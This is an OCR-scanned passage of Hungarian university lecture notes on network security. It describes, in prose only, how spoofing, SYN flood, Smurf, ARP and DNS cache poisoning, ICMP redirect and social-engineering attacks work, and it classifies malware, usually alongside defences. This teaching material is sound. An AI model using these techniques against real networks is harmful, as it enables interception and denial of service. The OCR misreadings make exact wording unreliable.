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Eloszo

Ez a jegyzet a Széchenyi Istvan Egyetem Tavkozlési Tanszékén a villamos-
mérndki BSc képzésben a tavkozlés-informatika szakirdny szaméra
kotelezd, az infokommunikécid szakirdny szdmara pedig valaszthato
,,Halozatok biztonsaga” targy eldadasainak anyagat tartalmazza, de a targy
anyaganak része a laborgyakorlatok anyaga is! A jegyzetben épitiink az
elétanulmanyi kdvetelményként szerepld ,,Szamitdégép-halozatok™ targybol
megszerzett ismeretekre a ,,Halozati operacios rendszerek” targy elsé félévi
anyaganak elmélyiilt ismeretére, tovabbd a ,, Kommunikacids rendszerek
programozasa” targy anyaganak alapvetd ismeretére. A targyat véalaszthatd
targyként a villamosmérnok MSc képzésben is meghirdetjiik, itt
eléfordulhat, hogy az el6tanulmanyi kdvetelmények még formalisan sem
teljesiilnek. Akinek a tudasaban hianyossagok vannak, ideje elkezdenie a

potlast!

A targy ¢és a jegyzet célja nem az, hogy halézati biztonsdgtechnikai
szakembereket képezziink, (ehhez a rendelkezésre all6 O6raszam messze
nem elegendd) hanem az, hogy egy szemléletmddot adjunk a hallgatoknak,
hogy érzékennyé valjanak a biztonsagi kérdésekre, €s a kiilonboz0 teriiletek
alapfogalmait ¢és alapvetd biztonsdgi kérdéseit megismerjék. Egyben
segitséget is kivanunk nytjtani abban, hogy aki valamely targyalt teriileten
fog dolgozni, legyen fogalma arrdl, hogy merre induljon el, és mit kell még

Onalloan megtanulnia.

Mind az eléadasok, mind a gyakorlatok anyagiban szerepelnek olyan
témakorok (példaul user-mode Linux, levelezés virusvédelme, stb.),

amelyek akar a ,,Halozati operacids rendszerek™ targyba is bekeriilhettek



volna. Ez a jovében lehetséges, hogy véltozni is fog; a targy anyagat évrol-

évre fellilvizsgaljuk és aktualizaljuk.

A jegyzetben bdségesen szerepelnek hivatkozasok, ezek dontd tobbsége
webes hivatkozas', igy az érdekléd6 hallgatoknak lehetGsége van az egyes

témakorok mélyebb megismerésére. Ezt mindenkinek javasoljuk!

Ezt a jegyzetet néhany évig elektronikusan (pdf formatumban) tervezziik
kozzétenni a targy hallgatdi szdmaéra. Ilyen mddon évrdl évre tudjuk
fejleszteni. Szivesen vesszilk az észrevételeket, hibajavitasokat,

javaslatokat tovabbi témakorok feldolgozasara.

Ez a jegyzet eredetileg 2005-ben késziilt, 2008-ban komolyabb revizi6 ald
vettem, 2010-ben kisebb javitasok torténtek (foként a Zorp tiizfalnal).

Eredményes tanulast!

Lencse Gabor

1. Ezek idovel elavultakka valhatnak, az érvénytelen hivatkozasok bejelentését
kdszbnettel vessziik!
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1. Bevezeto

Az internet protokollkészlet kidolgozasakor ezeket a protokollokat
johiszemii felhasznalasra tervezték. Az volt a céljuk, hogy egyszerlien és
hatékonyan oldjék meg a kivant feladatot. Hal6zati alkalmazasaink nagyon
jol miikodnek, amig valaki nem kivan visszaélni veliik (pl. ellopni masnak

a jelszavat, kéretlen leveleket kiildeni, megbénitani egy kiszolgalot, stb.)

A jegyzetben megvizsgaljuk, hogy milyen biztonsagi kihivasokkal kell
szembenézniink a halozati kommunikaci6 kapcsan, milyen halozati
tamadasoktol kell védeniink a rendszeriinket. Megismerjiik a kriptografia
legfontosabb alapfogalmait és megoldésait. Foglalkozunk a biztonsagos
atvitel lehetdségeivel, rendszereink hatarvédelmével, betekintiink a
behatolas észlelés €s megeldézés moddszereibe. Részletesen targyaljuk egy
UNIX rendszer adminisztralasdnak biztonsagi kérdéseit, és megismer-

kediink néhany konkrét timadas megvalositasaval is.

1.1. Haldézati tamadasok alapgondolatai

Mi a tdmadéasoknak a motivacidja? Ez sokrétli lehet. A halozaton keresztiil
érzékeny informacié utazhat, pl. személyes, iizleti, katonai, stb. adatok,
barmi, amit a tulajdonosa nem kivdn nyilvdnossdgra hozni. Ennek
megszerzése az illetéktelen szdmara hasznos lehet, vagy pusztan kart,
kellemetlenséget okozhat vele. A halozaton keresztil elérhetd
szolgaltatasokhoz wvald illetéktelen hozzaférés (pl. nyomtatni, filmeket

let6lteni) is csabitd lehetdség némelyek szdmara. SOt, a cél lehet olyan
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karokozas is, mint szolgaltatdsok megbénitasa. Halozaton keresztiil torténd

tdmadés irdnyulhat valamely rendszer feltorésére, rosszindulata

program(ok) bejuttatasara is...

Ebben a fejezetben csak a hélézati kommunikacidéval kapcsolatos

tdmadasokkal foglalkozunk.

1.1.1. Passziv tAmadas
Az érzékeny informécid megszerzésére iranyuld halozati tdmadas a
lehallgatas (evesdropping, wiretapping), amit passziv tdmadési formanak

neveziink, mert végrehajtasa sordn a tdmadd nem modositja az atviteli

csatorna tartalmat.

Y

-« --1-o
-0

C

1. dbra: passziv tdmadas

A lehallgatas megvaldsitasara a gyakorlatban sokféle modszert hasznalnak.
Osztott kozegen valdo kommunikacid esetén elegendd egy vevot elhelyezni.
Példaul Ethernet halozatoknal 10Base2 ¢s 10Base5 esetén mindig,
valamint 10BaseT, 100BaseTX és 1000BaseT-nél hub alkalmazasa esetén
az adott szegmens halozati kartydinak mindegyikéhez eljut az informacio,
de azok normal miikddés soran az iizenetszoras és tobbeskiildés kivételével

kizarolag azokat a kereteket veszik, amelynél a célcim megegyezik a kartya
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sajat MAC cimével. Ha a kartyat a tdmado atkapcsolja olyan mddba, hogy
minden keretet levegyen, akkor madris rendelkezésére 4all a kivant
informaci6. A tadmadas WLAN-ok esetén még veszélyesebb, hiszen a

tamadonak nem is kell engedélyezett modon jelen lennie a haldzatban.

Bérelt vonal hasznalata hamis biztonsagérzetet nyujthat, ennek gyakorlati
megvaldsitasa soran a szolgaltatok gyakran egy kozos IP gerinchalézatot
hasznalnak; megtortént mar olyan, hogy az itvonalvalasztas hibdja miatt az

egyes eldfizetokhoz idegen IP datagramok keriiltek.

Bizonyos esetekben a lehallgatds végrehajtasa eldtt a tdmadok aktiv
modszereket 1s hasznalnak, példdul egy Ethernet switch-et nagy
mennyiségli (hamis) MAC cimmel elarasztva elérik, hogy az ne legyen
képes a cimeket tarolni, ezért hub-ként miikkddve minden keretet minden
portjara tovabbitson. Egy szamitdgépet be lehet csapni egy routing redirect
ICMP f{izenettel illetve egy RIP-es routert egy hamis tavolsagvektorral...
stb. (Ezekkel majd késdbb foglalkozunk.)

1.1.2. Aktivtamadasok

A passziv tamadasokkal szemben az aktiv tdmadas jellemzdje, hogy a

tdmado maga is forgalmaz csatornan.

A

2. abra: aktiv tamadas
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Ennek tobb moddja lehet: az iizenetmodositas azt jelenti, hogy a
kommunikécioban részt vevd felek kozé beékelddve elfogja az ado
tizeneteit és a vevonek mast tartalmu iizenetet kiilld. Egy masik forma a
megszemélyesités, amikor a tamaddé mas nevében kiild (vagy fogad)
iizenetet. Ilyen tamadas példaul, ha rlogin-nal valdé belépés érdekében
valaki a sajat gépének IP cimét atallitja olyan cimre, ahonnan a
megtamadott gép jelsz6 nélkiil beenged. Visszajatszasnak nevezzik, ha a
tdmaddé a kommunikacioban részt vevd egyik fél lehallgatott ilizenetét
modositas nélkiil ujra elkiildi a masik félnek. Képzeljiik el, hogy a tdmadé
a bankjegy kiadd automata forgalmat lehallgatva Gjra elkiildi a bankkartya
szdmat, a PIN kodot és a kért 0sszeget a bank fel¢, majd felveszi a pénzt.
(Természetesen a gyakorlatban alkalmazott protokollok tartalmaznak

visszajatszas elleni védelmet.)

A szolgaltatas megtagadas (DoS — denial of service) tipust tamadasok
kozos jellemzdje, hogy a megtamadott kiszolgdlot hamis kérésekkel
arasztjak el, ezzel kimeritik az er6forrasait €s igy a valodi kérésekre nem

tud valaszolni.

Nézziink meg most néhany konkrét timadast, amelyek a jelenlegi internet

architekturaji halozataink ellen irdnyulhatnak!
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1.2. Csomag szintli tamadasok

1.2.1. IP spoofing

http://www.networkcommand.com/docs/ipspoof.txt (Mar nem ¢l a link!)

Az IP cim hamisitadsa dnmagaban még nem tamadas, de tobb tdmadasnak is
része. Célja lehet példaul egy csupan IP cimmel azonositott trusted host
megszemélyesitése. Ha példaul a Berkeley r* parancsokkal A gépre a B
géprol jelsz6 megadasa nélkiil Iéphetiink be, akkor a C tdmadd a B gépnek
adja ki magat. A hamis [P cim hasznalata 6nmagaban nem okoz nagy
nehézséget, viszont a tdmadas sikeréhez sziikség van még néhany dologra.

Ha C blind spoofing-ot jatszik, akkor ez a kdvetkezd kettd:

- DoS tamadéas az igazi B ellen, hogy az A iizeneteire ne tudjon

valaszolni.

« ISN prediction: ki kell taldlnia, hogy az 4 gép milyen kezdeti
sorszamot (initial sequence number) valaszt (mert az A4 lizeneteit nem

latja és mégis tudnia kell valaszolni).

A vélaszol
A | B
B nevében DOS tadmadas, hogy
B ne valaszoljon
C A-nak

3. dbra: blind spoofing


http://www.networkcommand.com/docs/ipspoof.txt

6 Halozatok biztonsaga

A blind spoofing miatt a tdmado6 redlis célja csak annyi, hogy egy kiskaput
hagyjon maga utan, amin keresztiil mar egyszerien be tud jutni. (Jelen
esetben pl. elég, ha a megtadmadott felhasznald . rhosts fajljat boviti egy

sorral...)

De ha a tdmado célja nem az, hogy valamihez hozzéaférjen, hanem csak
annyi, hogy mast akaddlyozzon, akkor az IP cim hamisitist még
egyszeriibben is hasznalhatja. Tegylik fel, hogy az A és B kozott fennall
egy TCP kapcsolat, amit C szeretne leldni. Ehhez a C tamado B-t
megszemélyesitve (azaz forras IP cimként B IP cimét bedllitva) kiild az 4-
nak egy olyan TCP adategységet, ahol a RST bit be van allitva. A tdmadas
sikerességéhez nem kell pontosan eltaldlnia a sorszamot, elég, ha a
receiving windown beliil van. (Ezt példaul konnyedén elérheti, ha képes

lehallgatni az 4 és B kommunikéacidjat.)

- -

A |, B
B nevében RST

C
4, dbra: RST tamadas

M¢ég ennél is egyszeriibb, ha a C tdmadd B nevében indit kozismert
tamadast (akar csak egy portscant) A ellen. Ha ennek hatdsara az 4 gépet

védo tlizfal B-t kitiltja, C maris elérte a céljat.
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Védekezés: az IP spoofing ellen tlizfalak azzal védekezhetnek, hogy
bizonyos forrds IP cimeket csak bizonyos irdnybol fogadnak el. Az ISN
kitalalasa ellen is lehet védekezni, ha nem csupan az idével és a
kapcsolatok szamaval nd az ISN, hanem triikkkdsebben vélasztjdk meg (pl.

véletlen szam hozzaadasaval).

1.2.2. Smurf

http://www.cert.org/advisories/CA-1998-01.html

A Smurf egy a DoS csaladba tartoz6 tamadas. A megtamadott gép (d/dozat
— victim) nevében ICMP echo request lizenetet kiild egy iranyitott IP
broadcast cimre. (Pl. a 10.0.0.0/8 halézat esetében a 10.255.255.255
cimre.) Az iizenetet vevd gépeket hivjak kozvetitéknek (intermediary).
Vilaszukkal teletomik az aldozat gép haldzatat, de a sajatjukat is, igy Ok

maguk is 4ldozatok.

vé\‘ASZO\g

\

 —

—

aldozat ~—— | kozvetiték

IP broadcast az aldozat nevében

tamado

5. abra: smurf tamadas


http://www.cert.org/advisories/CA-1998-01.html
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Védekezés: a routerek IP broadcast-ot ne engedjenek at, IP broadcast cimre

kiildott ICMP echo request-re a gépeink ne valaszoljanak!

1.2.3. SYN flood

Egy klasszikus DoS tdmadas. Megértéséhez idézziik fel a TCP kapcsolat

felépitésekor hasznalt 3 utas kézfogast:

1. Az A egy SYN csomagot kiild B-nek, melyben van egy bedéllitott
seq_no, ¢és lefoglal egy kapcsolat strukturat, amiben a TCP kapcsolat

adatait tarolja, valamint puffert is foglal az atvitelhez.

2. B egy SYNACK csomagot kiild A-nak, melyben megtaladlhatdo az
ack nog=seq nost+1 és a bedllitott seq nos, valamint B is lefoglal
egy kapcsolat strukturat, amiben a TCP kapcsolat adatait tarolja,

valamint puffert is foglal az atvitelhez.

3. A egy ACK csomagot kiild B-nek, melyben: ack nos=seq nog+1
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A SYN B
W

SYNACK

|

seq_no,
ack_no_=seq no +1

w‘

ack_no =seq no_+1

6. abra: TCP kapcsolat felépitése

Ha a rosszindulatt C tdmadé az A4 nevében nagy mennyiségli SYN
csomagot kiild B-nek (a valaszokat pedig C természetesen meg sem kapja),
akkor ezzel kimeriti B er6forrasait és az nem lesz képes fogadni a valodi

kéréseket.

Védekezni lehet példdul mikro blokkok hasznalatdval: a szabvanyos
adatstruktiranal lényegesen kisebb helyet foglalunk le, és ha a
kapcsolatkérés valddinak bizonyul (jon a kézfogés 3. 1épése), csak akkor
foglaljuk le a sziikséges erdforrasokat. Ez persze csak egy konstans
faktorral javit a helyzetiinkon (mondjuk 10x annyi timado6 csomagot birunk
el).

A tdmadasra egy jobb (de veszélyes) védekezés a syn cookie hasznalata.

Ennek lényege, hogy a SYN hatasara egyaltalan nem foglalunk erdforrast,



10 Halozatok biztonsaga

hanem a sajat sorszdmunkat (seq no) triikkds modon a hozzank intézett
kérés adataibol (IP, port, stb.) egy hash fiiggvénnyel szamitjuk ki. Amikor
megjon a kézfogas 3. 1épése, akkor Ujra kiszamitjuk a csomag adataibol a
seq no-t és ha az ack no annal 1-gyel nagyobb, akkor elfogadjuk,
kiilonben elvetjiik. Ezzel a triikkkel megtakaritottuk az eréforras foglalast,
viszont rendkiviil sebezhetévé valtunk: ha a tamado6 tudja, hogy a syn
cookie nalunk be van kapcsolva (pl. erre megprobal egy SYN flood-dal
ravenni benniinket) akkor képes egyetlen egy megfelelden elkészitett (a 3
utas kézfogas 3. csomagjanak latszo) csomaggal egy TCP kapcsolatot rank

erdltetni!

1.2.4. Xmas, Ymas

http://www.clavister.com/support/kb/10033/
A TCP fejrészben az URG bittdl balra levd két bitrél (CWR ¢és ECE) van
sz0. Ezeket az RFC 3168 szerint az ECN (Explicit Congestion

Notification) mechanizmus céljara osztottak ki (az IP fejrész régi Type of
Service mezdjének utolsd két, eredetileg rogzitetten 0 értékll bitjével
egyiitt)'. A korabbi TCP implementaciok azt varjak el, hogy ez a 2 bit 0
értékli legyen. A bitek 0-t6l kiilonbozd értékiire allitdsaval és a TCP
implementéacio viselkedésének megfigyelésével a tdmadd informdaciot

szerezhet a TCP/IP protocol stack implementécidjarol.

1. Az IANA (Internet Assigned Numbers Authority) 2003. majusaban még a TCP
szegmensben a CWR és ECE bitekt6l balra alld, addig kihasznalatlan bitet is
hozzavette egy NS (Nonce Sum) elnevezéssel (RFC 3540).


http://www.clavister.com/support/kb/10033/
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1.3. Halozati szintli tamadasok

1.3.1. Switch-ek elleni tamadas

A swtichek normal miikodés soran a kereteket csak arra a portjukra
tovabbitjak, ahol a cimzett talalhato. Az egyes portokhoz a MAC cimeket a
rendszergazda statikusan is bedllithatja, de ez munkaigényes, raadasul
konfiguracio valtozasnal at kell vezetni (pl. ha két gép portot cserél, vagy
ha valakinek a gépébe masik halokartya keriil). Ezért aztan altaldban
Ontanuld6 modban szoktdk az eszkozt haszndlni, ami ilyenkor megjegyzi,
hogy az egyes MAC cimekkel forrascimként melyik portjan talalkozott. Ha
a tamado kellden sok kiilonb6z6 MAC cimmel forgalmaz, akkor a switch
tablazata megtelik, és a mikodés fenntartasa érdekében minden keretet

minden portjara kikiild (fail open). Ezzel a forgalom lehallgathatova valik.

1.3.2. ARP poisoning

http://www.watchguard.com/infocenter/editorial/135324.asp

Az adott IP cimhez tartoz6 MAC cim kideritésének egyszerii és hatékony
modja az ARP. (Feltételezziik, hogy a hallgatok emlékeznek a

mikddésére.)

A tamad¢ kéretlen és hamis ARP valaszokat kiild, amelyben a kérdéses IP
cimhez a sajait MAC cimét tiinteti fel. A héalézaton levd gépek mar vagy
kapasbol elfogadjak és eltaroljak a hamis informaciot (ARP cache), vagy
elébb-utobb jon egy ARP kérés, és akkor a timadonak esélye van, hogy

elébb valaszoljon, mint az IP cim valédi birtokosa.


http://www.watchguard.com/infocenter/editorial/135324.asp
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1.3.3. ICMP redirect

Az ICMP redirect iizenettel egy router egy szamitdgép szamadara egy jobb
utvonalat tud megadni. A tdmado ezzel maga felé¢ tudja irdnyitani a

megtamadott gép forgalmat. Ezt tobbféle célra is hasznalhatja, példaul:

- lehallgatds: ilyenkor a csomagokat gondosan tovabbkiildi a

cimzettnek, hogy a timadas észrevétlen maradjon.

« IP spoofing tamogatasa: a kordbban ismertetett felallasban C az A4
felé B-nek adja ki magat, de most nem kell vakon dolgoznia: a
redirect-tel elérte, hogy az A valaszai Ohozza érkezzenek, a TCP

kapcsolat ténylegesen felépiil.

B

1. 1cCMP* 3—l 2. SYN a B nevében

redirect * 3. A valaszat B-nek szanja,
de C kapja meg

7. abra: IP spoofing ICMP redirect tamogatassal

Védekezés: accept redirects kikapcsolasa.

1.3.4. RIP tavolsagvektor hamisitasa

Mivel a RIP nem hasznal autentikacidt, a tdmadd szamitogépe hamis
tavolsagvektorral becsaphatja a routereket azt allitva, hogy rajta keresztiil
rovidebb 1t vezet a cél felé. OSPF, BGP esetén van Ilehetdség

autentikaciora, de sokszor nincs bekapcsolva.
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1.3.5. Source route IP opcié

A source route IP opcidval a forras megadhatja, hogy adott IP cimii dllomas
felé mely routereken keresztiil haladjon a csomag. A tamado ezt privat IP
cimii halozatok elérésére képes felhaszndlni a kovetkez6 moéddon: a C
tamado6 az R; routernek megmondja, hogy az R, routeren keresztiil kell a
csomagot kiildenie, ahol R, egy privat IP cimmel rendelkezé haldzat
gateway-e, amely a datagramot mar a cél IP cim alapjan kiildi a cimzettnek.
A visszaut trivialis, mivel a tdmadd publikus IP cimmel rendelkezik.

Védekezni accept source_route kikapcsoldsaval lehet.

10.1.0.0/24

R

1

source route: R, 10.1.0.2
C

8. abra: privat IP-cim(i halozat elleni tamadas source routing
segitségével

1.3.6. DNS (cache) ellen valé tamadas

A tdmadast egy példan mutatjuk be. Tekintslink egy bankot (Mybank) és
egy internet szolgaltatot (Myisp). Normdl mikodés esetén amikor az
internet szolgaltato ligyfelei el akarjak érni a bank honlapjat, megkérdezik

az internet szolgaltatd névkiszolgalojatdl (ns.myisp.com), mi a bank
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honlapjanak (www.mybank.com) IP cime. A névkiszolgalé kapcsolatba 1ép
egy legfelsd szintli névkiszolgéloval, és (esetleg tobb attétel utan) kideriti a
bank névkiszolgaldjanak (ns.mybank.com) IP cimét, ahonnan megtudja a
bank honlapjdhoz tartozé IP cimet, amit elkiild banki honlapot elérni
kivano tigyfélnek.

Root DNS szerver

2 G

s.myisp.com

: a1 ©)
ns.mybank.com évfeloldas kérés a--- ¢
www.mybank.com -’ 2 - @
,mre 7 /// \\“//
Vs A
c i Valasz
a sajat

kérésemre

9. dbra: DNS (cache) elleni tamadds

A tamadé eldre lemdsolja a megtamadott bank honlapjat
(www.mybank.com) egy sajat szerverre, majd az éjszaka leple alatt, amikor
lejar az ns.myisp.com altal tarolt www.mybank.com TTL ideje,
megkérdezi ns.myisp.com-t6l, hogy mi a www.mybank.com IP cime, €s
azonnal valaszol is neki, amiben a www.mybank.com IP cimeként a sajat
szerverének az IP cimét adja meg kellden hosszt lejarati iddvel. Ezt az

ns.myisp.com gyanutlanul elfogadja, ¢s amikor megkapja a valosagnak
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megfeleld valaszt, azt mar eldobja. Mésnap reggel a Myisp ligyfelei a
hamis IP cim alapjan a tamaddé weboldaldhoz fognak csatlakozni. Ha
vannak is nyilvanos kulcsu titkositdson alapuld tantsitvanyok, a
felhasznalok jelentds része el fogja fogadni a hamis tanusitvanyokat (ez

mar social engineering kategoria) és megadja a banki azonositoit...

1.4. Social engineering tipusu tamadasok

Ezek a tdmadasok nem miiszaki jelleglieck, hanem emberek becsapasan

alapulnak. Lassunk néhanyat!

1.4.1. DNS atregisztracié

A tamado kideriti, hogy a megtamadni kivant cég domain nevét melyik
regisztrator jegyezte be, majd a megtamadott cég fejléces levélpapirjan
kiild egy atregisztralasi kérelmet, ahol a tamad6 a sajat IP cimét
(cimtartomanyat) adja meg. Komoly esélye van, hogy még a FAX szamot
sem ellendrzik, s6t a timadas akar még telefonon vagy e-mailben is sikeres

lehet.

1.4.2. Jelszé megkérdezése

A tdmado valamilyen triiggyel telefonon megkérdezi az 4dldozat jelszavat.

(Példaul: valamit ellendrizni kell, beteg a rendszergazda, stb.)
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1.4.3. Gyenge jelszavak

A felhasznalok jelentds része eleve gyenge jelszot hasznal. (Példaul: tal
rovid, szotari szo, sajat magara vagy a kdrnyezetére jellemz6 informacio
stb.) Ezeket probalkozas utjan hamar ki lehet taladlni. A jelszavak helyes

megvalasztasaval 8.1.-ben foglalkozunk.
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2. Rosszindulatu programok jellemrajza

2.1. Klasszikus rosszindulatu programok

21.1. Virus

Hasonldan az €16 szervezeteket megfertdzd virusokhoz, a szamitogépes
virusok 6nallé életre képtelen programrészletek. A fertdzés tipikus modja
az, hogy a megtamadott program végéhez flizik hozza a sajat kodjukat, és a
program elején pedig egy (néhany) utasitast kicserélnek olyan ugrd
utasitdsra, amely a virus kodjara fog ugrani. Amikor a megfertézott
programot elinditjdk, az ugro utasitds segitségével a vezérlés a virus
kodjara keriil. A virusnak lehetdsége van gondoskodni a sajat terjedésérdl
(Gjabb programok megfertdzése) valamint kart is okozhat. A rejtézkodeés
érdekében célszerlien hamarosan helyre kell 4llitania a modositott
programkodot és a vezérlést vissza kell adnia az eredeti programra.
Lehetdség szerint a memoridban maradva késobb is foglalkozhat a

terjedéssel és a kdrokozassal.

Korabban a virusok szamitogépes programokat szoktak megfertdzni, ma
mar vannak Un. makrovirusok, amelyek pl. MS Word dokumentumokat
fertéznek meg. De késziilhetnek valamilyen interpretalt nyelven is pl.
Visual Basic. Bar a virusok legnagyobb szamban Intel kompatibilis
processzorokon Microsoft operacids rendszerek alatt terjednek, vannak

Linuxra is. S6t! Nem Intel platformos UNIX-okra is irtak/irnak virusokat.
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Mivel a virus csak akkor miikddéképes, ha a megfertdzott programot
elinditjuk, a virusokkal szemben egyik legjobb védekezés, ha nem
futtatunk nem megbizhat6 forrasbol szarmazo programokat, illetve célszerti
valamilyen viruskeres6t hasznalni. A viruskeresékkel megvizsgalhatunk
valamely adathordozot, hogy van-e rajta virus, illetve a viruskeresot
allandéan aktivan tartva képes az operdcios rendszer altal elért
allomanyokat az eléréskor ellendrizni. Természetesen a viruskeresd csak az

ismert virusokat talalja meg, adatbazisat minél gyakrabban frissiteni kell.

Ismertek még Un. boot sector virusok is amelyek a megfertézott
meghajtorol vald rendszerinditaskor Iéphetnek mikodésbe. Célszerti ha
PC-nk BIOS beallitdsdban eleve kizarjuk a kiilsd médiar6l (korabban

floppy, ma inkabb pen-drive) vald rendszerinditast.

21.2. Féreg—worm

http://www.iif.hu/dokumentumok/niif fuzetek/szotar/i.html

A virusokkal ellentétben a féreg Onalldan képes miikddni és szaporodni.
Karokozéasa abban all, hogy (sok példanyban elinditva magat) felemészti a
szamitogép erdforrasait. A leghiresebb féreg az ,Internet worm” 1988-ban
egy amerikai didk altal irt és "véletleniil" elszabadult program, mely révid
idé alatt sok internetes szervert bénitott meg azzal, hogy rengeteg
példanyban masolta le és futtatta onmagat, mig végiil (szintén az Internet

segitségével) sikertilt lokalizalni és kiirtani.


http://www.iif.hu/dokumentumok/niif_fuzetek/szotar/i.html
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2.1.3. Tréjai falé (tréjai program) — Trojan horse

http://www.faqgs.org/docs/jargon/T/Trojan-horse.html

Erdekesnek és hasznosnak latszé program, amit a gyanutlan felhasznald
letolt és feltelepit a szamitégépére (mint annak idején Trdja veédoi
bevonszoltdk a falovat és benne a gorogoket a varosukba). Persze a
programnak van a felhaszndlé szdmara nem hirdetett funkcigja is... Itt
batran elereszthetjilk a fantdziankat, hogy a fajlrendszerben hoz-e létre
hibakat, a modemes behivasunkat megszakitva emelt dijas szamon hoz-e
1étre internet kapcsolatot, vagy elkiildi-e a BSA-nak a gépiinkre feltelepitett

programok listdjat, stb.

2.1.4. Rejtekajté (csapodajto, hatso ajtd, kiskapu) — back door,
trap door

http://www.fags.org/docs/jargon/B/back-door.html

Egy olyan biztonsdgi rés, amit a rendszer tervezdje vagy karbantartdja
szdndékosan hagy benne a programban/rendszerben. A fenti helyen
elérhetd ,,Jargon File” hivatkozas alatt megtalaljuk, hogy Ken Thompson a
C fordito segitségével milyen trikkkds modon készitett maganak rejtekajtot
a UNIX-os login programban, amivel be tudott 1épni olyan gépekre is,

ahova hivatalosan nem kapott belépési jogosultsagot.

Egy rendszerbe vald betorés utdn a tdmad6 is hagyhat magénak a
rendszergazda szamadra rejtett bejutasi lehetdséget. Kovetkezésképpen egy

feltort rendszert teljesen Ujra kell telepiteni!


http://www.faqs.org/docs/jargon/B/back-door.html
http://www.faqs.org/docs/jargon/T/Trojan-horse.html
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2.1.5. Bomba

Olyan programkod, amely valamely feltétel (id6, esemény, ezek
kombindcidja) esetén vagy ,tavvezérléssel” (pl. trap door segitségével)
»~robban”, azaz fejti ki kéros tevékenységét. Egyes virusokra is jellemzd
lehet (pl. ,,péntek 13.”). Shareware programok védelmére is hasznalhatjak,

pl. adott id6 utdn 6nmagat elpusztitja a program...

2.2. Osszetett fenyegetések
Egy rosszindulati program (malicious code) tobb utat is hasznalhat a
terjedésére. Igy példaul:

terjedhet boot sectorban

terjedhet programhoz kapcsolodva (virusként)

kihasznalhat bizonyos operacidés rendszerre jellemzd biztonsagi

réseket

lokalis halozatban létrehozhat sajat konyvtar megosztasokat (pl.

windows felhasznalok szamara)

rendelkezhet sajat SMTP szerverrel, aminek segitségével a

szamitogépen taldlhatd e-mail cimekre elkiildi magat
a billentytlizetet figyelve gylijthet jelszavakat
lehallgathat a hal6zaton kédolatlanul kiildott jelszavakat

szOtéras torést intézhet UNIX-os passwd f3jlok ellen
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- ekozben rootkit-tel vagy mas modon rejtheti magat.

crer

hatékony program céljatol fiiggéen a fentiek koziil tobb funkciot
megvalosithat, ami segiti a terjedését és neheziti a kiirtasat illetve a

bejutasa elleni védekezést.

2.21. Zero day gap

Egy biztonsagi rés életciklusa a kovetkezd lépéseket foglalja magéban

fejlesztdi nézépontbol:

1. a biztonsagi rés bekeriil a szoftverbe
2. a biztonsagi rést valaki észreveszi
3. a biztonsagi rést hivatalosan bejelentik

4. a biztonsagi rés befalazasara elkésziil a javitas és publikaljak

Felhasznal6i szempontbol:

a) a biztonsagi rést tartalmaz6 szoftvert feltelepitik

b) ajavitast feltelepitik

Az adott rendszer tdmadéasa szempontjabodl lényeges események:
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I. elkésziil az elsd exploit a biztonséagi rés kihasznalasara

II. megtamad;jéak vele az adott rendszert

Kedvezd esetben 3. jelli esemény megeldzi az 1. jeliit és koztiik kellden sok
id6 (pl. 1 honap telik el), ami lehetéséget ad arra, hogy 4. utdn még a
lustabb rendszergazdék is végrehajtsak b)-t, miel6tt II. bekovetkezne. Az
események ilyen sorrendje mellett a tamadas sikertelen. A 0 day gap azt
jelenti, hogy 3. utan nagyon hamar bekovetkezik I. és igy nincs ideje a
rendszergazddknak védekezésre. SOt, ha a hibat a potencialis tdmado taldlja

meg, mar a hiba bejelentése eldtt irhat exploitot és tdmadhat vele.

2.3. Emberi tényezék

A rosszindulati programok terjedésében természetesen nagy szerepe van az

emberi tényezdknek, igy példaul az aldbbiaknak:

- tudatlansdg: a rosszindulati programokkal kapcsolatos ismeretek
hianya
- figyelmetlenség: pl. rabootolni egy floppyra, pen-drive-ra

- meggondolatlansag: pl. ,véletleniil” rakattintani egy e-mail-hez

csatolt allomanyra

. feleldtlenség: pl. nem megbizhatd forrasbol szarmazd program

tudatos, szandékos hasznalata virusellenorzés, karantén nélkiil
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- hanyagsdg: Dbiztonsdgi frissitések, virusadatbazis frissitések

elhanyagolésa

(A fenti kategéridk meglehetdsen Onkényesek, ¢és nem feltétlentil
diszjunktak, jelentésilk sem fliggetlen egymast6l. A hanyagsag ¢és
felel6tlenség mindsitések feltételezik, hogy az illetd személy rendelkezik a

sziikséges ismeretekkel, de neki felréhatdo modon helytelentil jar el.)

Vannak azonban olyan eset is, amikor elég a rosszindulat program nélkiil is
;-) azaz a karokozas csak emberi tényez6kon alapul, a 1étrehozasa miiszaki

ismeretet nem igényel. Lassunk most ilyeneket!

2.3.1. Lanclevél, piramisjaték, hoax, ,,e-mail virus”

Mar az Internet eldtti idokben is 1éteztek postai lanclevelek (,,masold le €s
kiildd tovdabb x napon belil y példanyban) s6t levében terjedd
piramisjatékok is (lanclevél, + ,kiildjél a lista elején levd személynek z
Osszeget”). Az internet technoldgia csupan lehet6séget ad a konnyebb és
gyorsabb terjedéshez. A hoax jelentése pedig: wugratds, atejtés,

megtévesztes.

Fontos megkiilonbdztetni, hogy itt NEM egy e-mailben terjedd, valdsagos
,muszaki” virusrdl van szd (ami pl. egy csatolt fajlhoz kapcsoldodhatna),
hanem maga a levél a ,virus” amit a nem gondolkozé felhasznalod
tovabbkiild. A témadaval kapcsolatban van egy meglehetdsen egyéni

stilusban irt (ez erés eufemizmus), de tartalmaban nagyon hasznos honlap,
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aminek a megismerésére minden kedves hallgatomat tisztelettel batoritok,
,»hogy az okosak masokat is ide kiildhessenek” — aki ezt most még nem
érti, az a lap megismerése utan majd megérti, hogy miért fogalmaztam
igy :-) tehat a kotelez6 olvasmany (amit ZH-n vagy vizsgan szamon is

szoktam kérni): http://yikes.tolna.net/hoax/

Léteznek hoax gylijtemények is, ezek kozil ajanlok egy magyar nyelviit

szorakoztatd olvasmanynak: http://lifeforce.hu/w/Hoax

Amennyiben hoax gyanus levelet kapunk valakitdl, a legegyszeriibb
megoldas, ha egy jellemz06 részletét a google-ba beirva megtalaljuk azt egy
olyan hoax listan, ahol elmagyardzzak, hogy miért nyilvanvaldéan hoax és a
linket beletessziik a valaszunkba. En ajanlani szoktam (okosodas céljabol)
a kotelezd olvasmany oldalt is, itt azonban érdemes a fenti ajanlasommal

(14sd: okosok) kortilbastyazni, kiilonben sértédés lehet beldle!

2.3.2. Adathalaszat (phising)
Tipikus mddja példaul, hogy egy bank tligyfeleinek latszolag a bank
nevében e-mailt kiildenek, amelyben

az uigyféltol adatok megadasat kérik a véalaszlevélben

valamely webhelyre iranyitjak

Természetesen a valaszt nem az adott bank, hanem a tdmadé dolgozza fel,

